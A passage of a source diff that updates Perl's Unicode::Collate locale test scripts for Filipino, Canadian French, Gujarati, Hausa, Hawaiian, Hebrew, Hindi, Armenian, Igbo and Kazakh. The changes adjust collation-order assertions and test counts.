sub ok ($;$) {
my $p = my $r = shift;
@@ -42,10 +42,12 @@ $objFil->change(level => 1);
ok($objFil->lt("n", "n\x{303}"));
ok($objFil->lt("nz","n\x{303}"));
-ok($objFil->lt("n\x{303}", "ng"));
+ok($objFil->gt("ng","n\x{303}"));
+ok($objFil->gt("ng","n\x{303}z"));
ok($objFil->gt("o", "ng"));
+ok($objFil->gt("o", "ngz"));
-# 6
+# 8
$objFil->change(level => 2);
@@ -53,7 +55,7 @@ ok($objFil->eq("ng", "Ng"));
ok($objFil->eq("Ng", "NG"));
ok($objFil->eq("n\x{303}", "N\x{303}"));
-# 9
+# 11
$objFil->change(level => 3);
@@ -63,4 +65,12 @@ ok($objFil->lt("n\x{303}", "N\x{303}"));
ok($objFil->eq("n\x{303}", pack('U', 0xF1)));
ok($objFil->eq("N\x{303}", pack('U', 0xD1)));
-# 14
+# 16
+
+$objFil->change(upper_before_lower => 1);
+
+ok($objFil->gt("ng", "Ng"));
+ok($objFil->gt("Ng", "NG"));
+ok($objFil->gt("n\x{303}", "N\x{303}"));
+
+# 19
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_frca.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_frca.t
new file mode 100644
index 00000000000..0bcf0c05873
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_frca.t
@@ -0,0 +1,53 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Collate cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Collate cannot get a Unicode code point\n";
+ exit 0;
+ }
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..8\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Collate::Locale;
+
+ok(1);
+
+#########################
+
+my $objFrCa = Unicode::Collate::Locale->
+ new(locale => 'FR-CA', normalization => undef);
+
+ok($objFrCa->getlocale, 'fr_CA');
+
+$objFrCa->change(level => 2);
+
+ok($objFrCa->lt("a\x{300}a", "aa\x{300}"));
+ok($objFrCa->gt("Ca\x{300}ca\x{302}", "ca\x{302}ca\x{300}"));
+ok($objFrCa->gt("ca\x{300}ca\x{302}", "Ca\x{302}ca\x{300}"));
+
+$objFrCa->change(backwards => undef);
+
+ok($objFrCa->gt("a\x{300}a", "aa\x{300}"));
+ok($objFrCa->lt("Ca\x{300}ca\x{302}", "ca\x{302}ca\x{300}"));
+ok($objFrCa->lt("ca\x{300}ca\x{302}", "Ca\x{302}ca\x{300}"));
+
+# 8
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_gu.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_gu.t
index f9c4b216256..5457999855d 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_gu.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_gu.t
@@ -50,8 +50,7 @@ ok($objGu->eq("\x{A82}", "\x{A81}"));
for my $h (0, 1) {
no warnings 'utf8';
- my $t = $h ? pack('U', 0xFFFF) : "";
- $objGu->change(highestFFFF => 1) if $h;
+ my $t = $h ? pack('U', 0xFFFF) : 'z';
ok($objGu->lt("\x{AD0}$t", "\x{A82}"));
ok($objGu->lt("\x{A82}$t", "\x{A83}"));
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ha.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ha.t
index 3740881d5a3..0602098f2ac 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ha.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ha.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..51\n"; }
+BEGIN { $| = 1; print "1..53\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -47,13 +47,15 @@ ok($objHa->gt("e", "\x{257}"));
ok($objHa->lt("k", "\x{199}"));
ok($objHa->gt("l", "\x{199}"));
ok($objHa->lt("s", "sh"));
+ok($objHa->lt("sz","sh"));
ok($objHa->gt("t", "sh"));
ok($objHa->lt("t", "ts"));
+ok($objHa->lt("tz","ts"));
ok($objHa->gt("u", "ts"));
ok($objHa->lt("y", "\x{1B4}"));
ok($objHa->gt("z", "\x{1B4}"));
-# 14
+# 16
$objHa->change(level => 2);
@@ -74,7 +76,7 @@ ok($objHa->eq("\x{1B3}", "\x{2BC}Y"));
ok($objHa->eq("\x{2BC}Y","'Y"));
ok($objHa->eq("'Y", "\x{1B4}"));
-# 29
+# 31
$objHa->change(level => 3);
@@ -95,7 +97,7 @@ ok($objHa->lt("\x{1B3}", "\x{2BC}Y"));
ok($objHa->lt("\x{2BC}Y","'Y"));
ok($objHa->gt("'Y", "\x{1B4}"));
-# 44
+# 46
$objHa->change(upper_before_lower => 1);
@@ -107,4 +109,4 @@ ok($objHa->lt("\x{1B3}", "\x{2BC}Y"));
ok($objHa->lt("\x{2BC}Y","'Y"));
ok($objHa->lt("'Y", "\x{1B4}"));
-# 51
+# 53
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_haw.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_haw.t
index c2e43acbfec..78f8e02ae94 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_haw.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_haw.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..49\n"; }
+BEGIN { $| = 1; print "1..57\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -52,10 +52,22 @@ ok($objHaw->lt('m', 'n'));
ok($objHaw->lt('n', 'p'));
ok($objHaw->lt('p', 'w'));
ok($objHaw->lt('w', "\x{2BB}"));
-ok($objHaw->gt('b', "\x{2BB}"));
+ok($objHaw->lt('b', "\x{2BB}"));
# 15
+ok($objHaw->lt('u', 'b'));
+ok($objHaw->lt('b', 'h'));
+ok($objHaw->gt('x', "\x{2BB}"));
+
+ok($objHaw->lt('aw', 'e'));
+ok($objHaw->lt('ew', 'i'));
+ok($objHaw->lt('iw', 'o'));
+ok($objHaw->lt('ow', 'u'));
+ok($objHaw->lt('uw', 'h'));
+
+# 23
+
$objHaw->change(level => 2);
ok($objHaw->eq('a', 'A'));
@@ -71,7 +83,7 @@ ok($objHaw->eq('n', 'N'));
ok($objHaw->eq('p', 'P'));
ok($objHaw->eq('w', 'W'));
-# 27
+# 35
$objHaw->change(level => 3);
@@ -88,7 +100,7 @@ ok($objHaw->lt('n', 'N'));
ok($objHaw->lt('p', 'P'));
ok($objHaw->lt('w', 'W'));
-# 39
+# 47
ok($objHaw->eq("a\x{304}", "\x{101}"));
ok($objHaw->eq("A\x{304}", "\x{100}"));
@@ -101,4 +113,4 @@ ok($objHaw->eq("O\x{304}", "\x{14C}"));
ok($objHaw->eq("u\x{304}", "\x{16B}"));
ok($objHaw->eq("U\x{304}", "\x{16A}"));
-# 49
+# 57
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_he.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_he.t
new file mode 100644
index 00000000000..6f4f9fadcb1
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_he.t
@@ -0,0 +1,68 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Collate cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Collate cannot get a Unicode code point\n";
+ exit 0;
+ }
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..16\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Collate::Locale;
+
+ok(1);
+
+#########################
+
+my $objHe = Unicode::Collate::Locale->
+ new(locale => 'HE', normalization => undef);
+
+ok($objHe->getlocale, 'he');
+
+$objHe->change(level => 1);
+
+ok($objHe->eq("\x{5F3}", "\x{5F4}"));
+ok($objHe->eq("\x{5F3}", ""));
+ok($objHe->eq("\x{5F4}", ""));
+ok($objHe->eq("\x{5F3}", q<'>));
+ok($objHe->eq("\x{5F4}", q<">));
+
+# 7
+
+$objHe->change(variable => 'non-ignorable');
+
+ok($objHe->ne("\x{5F3}", "\x{5F4}"));
+ok($objHe->eq("\x{5F3}", q<'>));
+ok($objHe->eq("\x{5F4}", q<">));
+ok($objHe->eq("\x{5F3}z",q<'z>));
+ok($objHe->eq("\x{5F4}z",q<"z>));
+
+# 12
+
+$objHe->change(level => 2);
+
+ok($objHe->lt("\x{5F3}", q<'>));
+ok($objHe->lt("\x{5F4}", q<">));
+ok($objHe->lt("\x{5F3}z",q<'z>));
+ok($objHe->lt("\x{5F4}z",q<"z>));
+
+# 16
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_hi.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_hi.t
index 9a6b678791e..094a042c663 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_hi.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_hi.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..10\n"; }
+BEGIN { $| = 1; print "1..12\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -50,12 +50,12 @@ ok($objHi->eq("\x{902}", "\x{901}"));
for my $h (0, 1) {
no warnings 'utf8';
- my $t = $h ? pack('U', 0xFFFF) : "";
- $objHi->change(highestFFFF => 1) if $h;
+ my $t = $h ? pack('U', 0xFFFF) : 'z';
ok($objHi->lt("\x{950}$t", "\x{902}"));
ok($objHi->lt("\x{902}$t", "\x{903}"));
+ ok($objHi->lt("\x{903}$t", "\x{A8FD}"));
ok($objHi->lt("\x{903}$t", "\x{972}"));
}
-# 10
+# 12
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_hy.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_hy.t
index a7282665a52..26114a1a091 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_hy.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_hy.t
@@ -77,8 +77,7 @@ $objHy->change(UCA_Version => 22);
for my $h (0, 1) {
no warnings 'utf8';
- my $t = $h ? pack('U', 0xFFFF) : "";
- $objHy->change(highestFFFF => 1) if $h;
+ my $t = $h ? pack('U', 0xFFFF) : 'z';
ok($objHy->lt("\x{583}$t", "\x{584}"));
ok($objHy->lt("\x{584}$t", "\x{587}"));
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ig.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ig.t
index 3d07700a114..40d3b199a85 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ig.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_ig.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..108\n"; }
+BEGIN { $| = 1; print "1..112\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -46,18 +46,22 @@ ok($objIg->gt("c", "ch"));
ok($objIg->lt("g", "gb"));
ok($objIg->lt("gz","gb"));
ok($objIg->lt("gb","gh"));
+ok($objIg->lt("gbz","gh"));
ok($objIg->lt("gh","gw"));
+ok($objIg->lt("ghz","gw"));
ok($objIg->gt("h", "gw"));
ok($objIg->lt("i", "i\x{323}"));
ok($objIg->gt("j", "i\x{323}"));
ok($objIg->lt("k", "kp"));
ok($objIg->lt("kz","kp"));
ok($objIg->lt("kp","kw"));
+ok($objIg->lt("kpz","kw"));
ok($objIg->gt("l", "kw"));
ok($objIg->lt("n", "n\x{307}"));
ok($objIg->lt("nz","n\x{307}"));
ok($objIg->gt("nw","n\x{307}"));
ok($objIg->lt("nw", "ny"));
+ok($objIg->lt("nwz","ny"));
ok($objIg->gt("o", "ny"));
ok($objIg->lt("o", "o\x{323}"));
ok($objIg->gt("p", "o\x{323}"));
@@ -67,7 +71,7 @@ ok($objIg->gt("t", "sh"));
ok($objIg->lt("u", "u\x{323}"));
ok($objIg->gt("v", "u\x{323}"));
-# 28
+# 32
$objIg->change(level => 2);
@@ -94,7 +98,7 @@ ok($objIg->eq("sh", "Sh"));
ok($objIg->eq("Sh", "SH"));
ok($objIg->eq("u\x{323}", "U\x{323}"));
-# 50
+# 54
$objIg->change(level => 3);
@@ -121,7 +125,7 @@ ok($objIg->lt("sh", "Sh"));
ok($objIg->lt("Sh", "SH"));
ok($objIg->lt("u\x{323}", "U\x{323}"));
-# 72
+# 76
ok($objIg->eq("i\x{323}", "\x{1ECB}"));
ok($objIg->eq("I\x{323}", "\x{1ECA}"));
@@ -139,7 +143,7 @@ ok($objIg->eq("O\x{323}\x{31B}", "\x{1EE2}"));
ok($objIg->eq("u\x{323}\x{31B}", "\x{1EF1}"));
ok($objIg->eq("U\x{323}\x{31B}", "\x{1EF0}"));
-# 86
+# 90
$objIg->change(upper_before_lower => 1);
@@ -166,4 +170,4 @@ ok($objIg->gt("sh", "Sh"));
ok($objIg->gt("Sh", "SH"));
ok($objIg->gt("u\x{323}", "U\x{323}"));
-# 108
+# 112
diff --git a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_kk.t b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_kk.t
index 294e974c0c9..2d783079bca 100644
--- a/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_kk.t
+++ b/gnu/usr.bin/perl/cpan/Unicode-Collate/t/loc_kk.t
@@ -16,7 +16,7 @@ BEGIN {
use strict;
use warnings;
-BEGIN { $| = 1; print "1..211\n"; }
+BEGIN { $| = 1; print "1..172\n"; }
my $count = 0;
sub ok ($;$) {
my $p = my $r = shift;
@@ -40,200 +40,189 @@ ok($objKk->getlocale, 'kk');
$objKk->change(level => 1);
-ok($objKk->gt("\x{451}", "\x{435}"));
-ok($objKk->lt("\x{451}", "\x{454}"));
-ok($objKk->gt("\x{4AF}", "\x{4B1}"));
-ok($objKk->lt("\x{4AF}", "\x{A64B}"));
-ok($objKk->gt("\x{456}", "\x{4F9}"));
-ok($objKk->lt("\x{456}", "\x{44C}"));
-
-# 8
-
-ok($objKk->gt("\x{4E5}", "\x{438}")); # not suppressed
-ok($objKk->gt("\x{4E4}", "\x{418}")); # not suppressed
-ok($objKk->gt("\x{439}", "\x{438}")); # not suppressed
-ok($objKk->gt("\x{419}", "\x{418}")); # not suppressed
-
-# 12
-
-ok($objKk->eq("\x{4D1}", "\x{430}"));
-ok($objKk->eq("\x{4D0}", "\x{410}"));
-ok($objKk->eq("\x{4D3}", "\x{430}"));
-ok($objKk->eq("\x{4D2}", "\x{410}"));
-ok($objKk->eq("\x{4DB}", "\x{4D9}"));
-ok($objKk->eq("\x{4DA}", "\x{4D8}"));
-ok($objKk->eq("\x{453}", "\x{433}"));
-ok($objKk->eq("\x{403}", "\x{413}"));
-ok($objKk->eq("\x{450}", "\x{435}")); # not contraction
-ok($objKk->eq("\x{400}", "\x{415}")); # not contraction
-ok($objKk->eq("\x{4D7}", "\x{435}"));
-ok($objKk->eq("\x{4D6}", "\x{415}"));
-ok($objKk->eq("\x{4C2}", "\x{436}")); # not contraction
-ok($objKk->eq("\x{4C1}", "\x{416}")); # not contraction
-ok($objKk->eq("\x{4DD}", "\x{436}"));
-ok($objKk->eq("\x{4DC}", "\x{416}"));
-ok($objKk->eq("\x{4DF}", "\x{437}"));
-ok($objKk->eq("\x{4DE}", "\x{417}"));
-ok($objKk->eq("\x{45D}", "\x{438}")); # not contraction
-ok($objKk->eq("\x{40D}", "\x{418}")); # not contraction
-ok($objKk->eq("\x{4E3}", "\x{438}")); # not contraction
-ok($objKk->eq("\x{4E2}", "\x{418}")); # not contraction
-ok($objKk->eq("\x{457}", "\x{456}"));
-ok($objKk->eq("\x{407}", "\x{406}"));
-ok($objKk->eq("\x{4E7}", "\x{43E}"));
-ok($objKk->eq("\x{4E6}", "\x{41E}"));
-ok($objKk->eq("\x{4EB}", "\x{4E9}"));
-ok($objKk->eq("\x{4EA}", "\x{4E8}"));
-ok($objKk->eq("\x{45C}", "\x{43A}"));
-ok($objKk->eq("\x{40C}", "\x{41A}"));
-ok($objKk->eq("\x{4EF}", "\x{443}")); # not contraction
-ok($objKk->eq("\x{4EE}", "\x{423}")); # not contraction
-ok($objKk->eq("\x{45E}", "\x{443}"));
-ok($objKk->eq("\x{40E}", "\x{423}"));
-ok($objKk->eq("\x{4F1}", "\x{443}"));
-ok($objKk->eq("\x{4F0}", "\x{423}"));
-ok($objKk->eq("\x{4F3}", "\x{443}"));
-ok($objKk->eq("\x{4F2}", "\x{423}"));
-ok($objKk->eq("\x{4F5}", "\x{447}"));
-ok($objKk->eq("\x{4F4}", "\x{427}"));
-ok($objKk->eq("\x{4F9}", "\x{44B}"));
-ok($objKk->eq("\x{4F8}", "\x{42B}"));
-ok($objKk->eq("\x{4ED}", "\x{44D}"));
-ok($objKk->eq("\x{4EC}", "\x{42D}"));
-ok($objKk->eq("\x{477}", "\x{475}"));
-ok($objKk->eq("\x{476}", "\x{474}"));
-
-# 58
+ok($objKk->lt("\x{430}z", "\x{4d9}"));
+ok($objKk->lt("\x{4d9}z", "\x{431}"));
+ok($objKk->lt("\x{431}z", "\x{432}"));
+ok($objKk->lt("\x{432}z", "\x{433}"));
+ok($objKk->lt("\x{433}z", "\x{493}"));
+ok($objKk->lt("\x{493}z", "\x{434}"));
+ok($objKk->lt("\x{434}z", "\x{435}"));
+ok($objKk->lt("\x{435}z", "\x{451}"));
+ok($objKk->lt("\x{451}z", "\x{436}"));
+ok($objKk->lt("\x{436}z", "\x{437}"));
+ok($objKk->lt("\x{437}z", "\x{438}"));
+ok($objKk->lt("\x{438}z", "\x{439}"));
+ok($objKk->lt("\x{439}z", "\x{43a}"));
+ok($objKk->lt("\x{43a}z", "\x{49b}"));
+ok($objKk->lt("\x{49b}z", "\x{43b}"));
+ok($objKk->lt("\x{43b}z", "\x{43c}"));
+ok($objKk->lt("\x{43c}z", "\x{43d}"));
+ok($objKk->lt("\x{43d}z", "\x{4a3}"));
+ok($objKk->lt("\x{4a3}z", "\x{43e}"));
+ok($objKk->lt("\x{43e}z", "\x{4e9}"));
+ok($objKk->lt("\x{4e9}z", "\x{43f}"));
+ok($objKk->lt("\x{43f}z", "\x{440}"));
+ok($objKk->lt("\x{440}z", "\x{441}"));
+ok($objKk->lt("\x{441}z", "\x{442}"));
+ok($objKk->lt("\x{442}z", "\x{443}"));
+ok($objKk->lt("\x{443}z", "\x{4b1}"));
+ok($objKk->lt("\x{4b1}z", "\x{4af}"));
+ok($objKk->lt("\x{4af}z", "\x{444}"));
+ok($objKk->lt("\x{444}z", "\x{445}"));
+ok($objKk->lt("\x{445}z", "\x{4bb}"));
+ok($objKk->lt("\x{4bb}z", "\x{446}"));
+ok($objKk->lt("\x{446}z", "\x{447}"));
+ok($objKk->lt("\x{447}z", "\x{448}"));
+ok($objKk->lt("\x{448}z", "\x{449}"));
+ok($objKk->lt("\x{449}z", "\x{44a}"));
+ok($objKk->lt("\x{44a}z", "\x{44b}"));
+ok($objKk->lt("\x{44b}z", "\x{456}"));
+ok($objKk->lt("\x{456}z", "\x{44c}"));
+ok($objKk->lt("\x{44c}z", "\x{44d}"));
+ok($objKk->lt("\x{44d}z", "\x{44e}"));
+ok($objKk->lt("\x{44e}z", "\x{44f}"));
+
+ok($objKk->lt("\x{410}z", "\x{4d8}"));
+ok($objKk->lt("\x{4d8}z", "\x{411}"));
+ok($objKk->lt("\x{411}z", "\x{412}"));
+ok($objKk->lt("\x{412}z", "\x{413}"));
+ok($objKk->lt("\x{413}z", "\x{492}"));
+ok($objKk->lt("\x{492}z", "\x{414}"));
+ok($objKk->lt("\x{414}z", "\x{415}"));
+ok($objKk->lt("\x{415}z", "\x{401}"));
+ok($objKk->lt("\x{401}z", "\x{416}"));
+ok($objKk->lt("\x{416}z", "\x{417}"));
+ok($objKk->lt("\x{417}z", "\x{418}"));
+ok($objKk->lt("\x{418}z", "\x{419}"));
+ok($objKk->lt("\x{419}z", "\x{41a}"));
+ok($objKk->lt("\x{41a}z", "\x{49a}"));
+ok($objKk->lt("\x{49a}z", "\x{41b}"));
+ok($objKk->lt("\x{41b}z", "\x{41c}"));
+ok($objKk->lt("\x{41c}z", "\x{41d}"));
+ok($objKk->lt("\x{41d}z", "\x{4a2}"));
+ok($objKk->lt("\x{4a2}z", "\x{41e}"));
+ok($objKk->lt("\x{41e}z", "\x{4e8}"));
+ok($objKk->lt("\x{4e8}z", "\x{41f}"));
+ok($objKk->lt("\x{41f}z", "\x{420}"));
+ok($objKk->lt("\x{420}z", "\x{421}"));
+ok($objKk->lt("\x{421}z", "\x{422}"));
+ok($objKk->lt("\x{422}z", "\x{423}"));
+ok($objKk->lt("\x{423}z", "\x{4b0}"));
+ok($objKk->lt("\x{4b0}z", "\x{4ae}"));
+ok($objKk->lt("\x{4ae}z", "\x{424}"));
+ok($objKk->lt("\x{424}z", "\x{425}"));
+ok($objKk->lt("\x{425}z", "\x{4ba}"));
+ok($objKk->lt("\x{4ba}z", "\x{426}"));
+ok($objKk->lt("\x{426}z", "\x{427}"));
+ok($objKk->lt("\x{427}z", "\x{428}"));
+ok($objKk->lt("\x{428}z", "\x{429}"));
+ok($objKk->lt("\x{429}z", "\x{42a}"));
+ok($objKk->lt("\x{42a}z", "\x{42b}"));
+ok($objKk->lt("\x{42b}z", "\x{406}"));
+ok($objKk->lt("\x{406}z", "\x{42c}"));
+ok($objKk->lt("\x{42c}z", "\x{42d}"));
+ok($objKk->lt("\x{42d}z", "\x{42e}"));
+ok($objKk->lt("\x{42e}z", "\x{42f}"));
+
+# 84
$objKk->change(level => 2);
+ok($objKk->eq("\x{430}", "\x{410}"));
+ok($objKk->eq("\x{4d9}", "\x{4d8}"));
+ok($objKk->eq("\x{431}", "\x{411}"));
+ok($objKk->eq("\x{432}", "\x{412}"));
+ok($objKk->eq("\x{433}", "\x{413}"));
+ok($objKk->eq("\x{493}", "\x{492}"));
+ok($objKk->eq("\x{434}", "\x{414}"));
+ok($objKk->eq("\x{435}", "\x{415}"));
ok($objKk->eq("\x{451}", "\x{401}"));
-ok($objKk->eq("\x{4AF}", "\x{4AE}"));
+ok($objKk->eq("\x{436}", "\x{416}"));
+ok($objKk->eq("\x{437}", "\x{417}"));
+ok($objKk->eq("\x{438}", "\x{418}"));
+ok($objKk->eq("\x{439}", "\x{419}"));
+ok($objKk->eq("\x{43a}", "\x{41a}"));
+ok($objKk->eq("\x{49b}", "\x{49a}"));
+ok($objKk->eq("\x{43b}", "\x{41b}"));
+ok($objKk->eq("\x{43c}", "\x{41c}"));
+ok($objKk->eq("\x{43d}", "\x{41d}"));
+ok($objKk->eq("\x{4a3}", "\x{4a2}"));
+ok($objKk->eq("\x{43e}", "\x{41e}"));
+ok($objKk->eq("\x{4e9}", "\x{4e8}"));
+ok($objKk->eq("\x{43f}", "\x{41f}"));
+ok($objKk->eq("\x{440}", "\x{420}"));
+ok($objKk->eq("\x{441}", "\x{421}"));
+ok($objKk->eq("\x{442}", "\x{422}"));
+ok($objKk->eq("\x{443}", "\x{423}"));
+ok($objKk->eq("\x{4b1}", "\x{4b0}"));
+ok($objKk->eq("\x{4af}", "\x{4ae}"));
+ok($objKk->eq("\x{444}", "\x{424}"));
+ok($objKk->eq("\x{445}", "\x{425}"));
+ok($objKk->eq("\x{4bb}", "\x{4ba}"));
+ok($objKk->eq("\x{446}", "\x{426}"));
+ok($objKk->eq("\x{447}", "\x{427}"));
+ok($objKk->eq("\x{448}", "\x{428}"));
+ok($objKk->eq("\x{449}", "\x{429}"));
+ok($objKk->eq("\x{44a}", "\x{42a}"));
+ok($objKk->eq("\x{44b}", "\x{42b}"));
ok($objKk->eq("\x{456}", "\x{406}"));
+ok($objKk->eq("\x{44c}", "\x{42c}"));
+ok($objKk->eq("\x{44d}", "\x{42d}"));
+ok($objKk->eq("\x{44e}", "\x{42e}"));
+ok($objKk->eq("\x{44f}", "\x{42f}"));
-# 61
-
-ok($objKk->gt("\x{4D1}", "\x{430}"));
-ok($objKk->gt("\x{4D0}", "\x{410}"));
-ok($objKk->gt("\x{4D3}", "\x{430}"));
-ok($objKk->gt("\x{4D2}", "\x{410}"));
-ok($objKk->gt("\x{4DB}", "\x{4D9}"));
-ok($objKk->gt("\x{4DA}", "\x{4D8}"));
-ok($objKk->gt("\x{453}", "\x{433}"));
-ok($objKk->gt("\x{403}", "\x{413}"));
-ok($objKk->gt("\x{450}", "\x{435}")); # not contraction
-ok($objKk->gt("\x{400}", "\x{415}")); # not contraction
-ok($objKk->gt("\x{4D7}", "\x{435}"));
-ok($objKk->gt("\x{4D6}", "\x{415}"));
-ok($objKk->gt("\x{4C2}", "\x{436}")); # not contraction
-ok($objKk->gt("\x{4C1}", "\x{416}")); # not contraction
-ok($objKk->gt("\x{4DD}", "\x{436}"));
-ok($objKk->gt("\x{4DC}", "\x{416}"));
-ok($objKk->gt("\x{4DF}", "\x{437}"));
-ok($objKk->gt("\x{4DE}", "\x{417}"));
-ok($objKk->gt("\x{45D}", "\x{438}")); # not contraction
-ok($objKk->gt("\x{40D}", "\x{418}")); # not contraction
-ok($objKk->gt("\x{4E3}", "\x{438}")); # not contraction
-ok($objKk->gt("\x{4E2}", "\x{418}")); # not contraction
-ok($objKk->gt("\x{457}", "\x{456}"));
-ok($objKk->gt("\x{407}", "\x{406}"));
-ok($objKk->gt("\x{4E7}", "\x{43E}"));
-ok($objKk->gt("\x{4E6}", "\x{41E}"));
-ok($objKk->gt("\x{4EB}", "\x{4E9}"));
-ok($objKk->gt("\x{4EA}", "\x{4E8}"));
-ok($objKk->gt("\x{45C}", "\x{43A}"));
-ok($objKk->gt("\x{40C}", "\x{41A}"));
-ok($objKk->gt("\x{4EF}", "\x{443}")); # not contraction
-ok($objKk->gt("\x{4EE}", "\x{423}")); # not contraction
-ok($objKk->gt("\x{45E}", "\x{443}"));
-ok($objKk->gt("\x{40E}", "\x{423}"));
-ok($objKk->gt("\x{4F1}", "\x{443}"));
-ok($objKk->gt("\x{4F0}", "\x{423}"));
-ok($objKk->gt("\x{4F3}", "\x{443}"));
-ok($objKk->gt("\x{4F2}", "\x{423}"));
-ok($objKk->gt("\x{4F5}", "\x{447}"));
-ok($objKk->gt("\x{4F4}", "\x{427}"));
-ok($objKk->gt("\x{4F9}", "\x{44B}"));
-ok($objKk->gt("\x{4F8}", "\x{42B}"));
-ok($objKk->gt("\x{4ED}", "\x{44D}"));
-ok($objKk->gt("\x{4EC}", "\x{42D}"));
-ok($objKk->gt("\x{477}", "\x{475}"));
-ok($objKk->gt("\x{476}", "\x{474}"));
-
-# 107
+# 126
$objKk->change(level => 3);
+ok($objKk->lt("\x{430}", "\x{410}"));
+ok($objKk->lt("\x{4d9}", "\x{4d8}"));
+ok($objKk->lt("\x{431}", "\x{411}"));
+ok($objKk->lt("\x{432}", "\x{412}"));
+ok($objKk->lt("\x{433}", "\x{413}"));
+ok($objKk->lt("\x{493}", "\x{492}"));
+ok($objKk->lt("\x{434}", "\x{414}"));
+ok($objKk->lt("\x{435}", "\x{415}"));
ok($objKk->lt("\x{451}", "\x{401}"));
-ok($objKk->lt("\x{4AF}", "\x{4AE}"));
+ok($objKk->lt("\x{436}", "\x{416}"));
+ok($objKk->lt("\x{437}", "\x{417}"));
+ok($objKk->lt("\x{438}", "\x{418}"));
+ok($objKk->lt("\x{439}", "\x{419}"));
+ok($objKk->lt("\x{43a}", "\x{41a}"));
+ok($objKk->lt("\x{49b}", "\x{49a}"));
+ok($objKk->lt("\x{43b}", "\x{41b}"));
+ok($objKk->lt("\x{43c}", "\x{41c}"));
+ok($objKk->lt("\x{43d}", "\x{41d}"));
+ok($objKk->lt("\x{4a3}", "\x{4a2}"));
+ok($objKk->lt("\x{43e}", "\x{41e}"));
+ok($objKk->lt("\x{4e9}", "\x{4e8}"));
+ok($objKk->lt("\x{43f}", "\x{41f}"));
+ok($objKk->lt("\x{440}", "\x{420}"));
+ok($objKk->lt("\x{441}", "\x{421}"));
+ok($objKk->lt("\x{442}", "\x{422}"));
+ok($objKk->lt("\x{443}", "\x{423}"));
+ok($objKk->lt("\x{4b1}", "\x{4b0}"));
+ok($objKk->lt("\x{4af}", "\x{4ae}"));
+ok($objKk->lt("\x{444}", "\x{424}"));
+ok($objKk->lt("\x{445}", "\x{425}"));
+ok($objKk->lt("\x{4bb}", "\x{4ba}"));
+ok($objKk->lt("\x{446}", "\x{426}"));
+ok($objKk->lt("\x{447}", "\x{427}"));
